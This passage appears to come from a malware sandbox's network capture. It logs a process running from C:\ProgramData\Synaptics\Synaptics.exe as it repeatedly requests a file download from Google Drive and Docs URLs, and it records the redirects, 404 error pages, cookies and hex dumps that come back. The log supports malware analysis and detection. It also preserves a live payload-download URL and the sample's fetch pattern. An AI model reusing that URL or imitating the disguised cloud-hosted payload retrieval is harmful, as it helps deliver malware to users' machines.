2025-01-02 19:28:57 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 45 78 72 6b 79 74 44 68 76 63 44 31 49 47 75 5a 44 47 47 36 52 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="ExrkytDhvcD1IGuZDGG6RQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:57 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	49853	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:57 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:28:57 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5a7X5JJb-Fn_H9DuYeBqKCWt-Xy7-vEVi_TBLDyR4af6snPb9HR1ISFAEMehGfKAOP Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:57 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-bOesnIhNVTmNv1ZnNsAFBQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:57 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:57 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 72 50 4f 6c 53 5f 6d 53 4f 62 51 48 52 79 7a 32 69 54 57 70 68 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="rPOlS_mSObQHRyz2iTWphw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:57 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	49860	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:57 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	49861	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:57 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49870	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:58 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA
2025-01-02 19:28:59 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:58 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-a6gJ5BYJ2LHc7E_VcqnfYQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49871	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:58 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA
2025-01-02 19:28:59 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:59 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-lJmAZQ7ahkRH2WF1FCTtfg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49883	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:59 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA
2025-01-02 19:29:00 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:59 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-V4YVBomaft2KxVkySt9CmQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	49884	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:59 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:00 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5LNAhF-WZImqMJE2h1aw20IWxl_pX39ks43SM4QMA9u87e5Y0E_DDdTo4AJXc11ZrXV-rG2cA Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:00 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-PBBHbP74qaPcYsk6Eh8Qmw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:00 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:00 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 51 49 44 49 63 68 54 6b 4a 55 30 6a 4b 44 53 48 4f 79 55 58 42 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="QIDIchTkJU0jKDSHOyUXBQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:00 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49885	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:59 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:00 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4txd3J3z7NtVkRjz7-fdvZhtTrvPNZpwc888c0pD7f-rHnNwa06iU0VLgI3IuaecbAveIQ_oU Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:00 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-qc1fQdVIWz8oLKA3Wduvpg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:00 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:00 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4b 42 69 58 59 58 4f 75 37 42 4f 4b 2d 4b 4e 38 52 65 62 66 43 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="KBiXYXOu7BOK-KN8RebfCw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:00 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	49886	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:59 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA
2025-01-02 19:29:00 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:00 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-0rRqOVwV_JO6Itdi8u8Y4w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	49892	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
